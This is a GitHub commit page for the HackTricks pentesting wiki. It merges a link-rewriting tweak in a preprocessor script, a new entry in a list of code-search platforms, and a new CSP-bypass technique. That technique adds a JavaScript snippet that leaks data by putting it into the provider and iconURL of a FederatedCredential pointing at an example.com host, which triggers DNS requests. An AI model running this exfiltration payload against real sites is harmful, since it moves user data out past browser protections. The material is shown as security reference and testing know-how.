Skip to content

Commit 76b3beb

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents b9f636b + daba427 commit 76b3beb

File tree

3 files changed

+21
-1
lines changed

3 files changed

+21
-1
lines changed

hacktricks-preprocessor.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,9 @@ def ref(matchobj):
7878
sys.exit(1)
7979

8080

81+
if href.endswith("/README.md"):
82+
href = href.replace("/README.md", "/index.html")
83+
8184
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
8285

8386
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})

src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,8 @@ The goal of this page is to enumerate **platforms that allow to search for code*
66

77
This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns.
88

9-
- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes.
9+
- [**Sourcebot**](https://www.sourcebot.dev/): Open source code search tool. Index and search across thousands of your repos through a modern web interface.
10+
- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes.
1011
- [**Github Search**](https://github.com/search): Search across Github. It supports regexes.
1112
- Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/).
1213
- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes.

src/pentesting-web/content-security-policy-csp-bypass/README.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -794,6 +794,22 @@ var pc = new RTCPeerConnection({
794794
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
795795
```
796796
797+
### CredentialsContainer
798+
799+
The credential popup sends a DNS request to the iconURL without being restricted by the page. It only works in a secure context (HTTPS) or on localhost.
800+
801+
```javascript
802+
navigator.credentials.store(
803+
new FederatedCredential({
804+
id:"satoki",
805+
name:"satoki",
806+
provider:"https:"+your_data+"example.com",
807+
iconURL:"https:"+your_data+"example.com"
808+
})
809+
)
810+
```
811+
812+
797813
## Checking CSP Policies Online
798814
799815
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)

0 commit comments

Comments
 (0)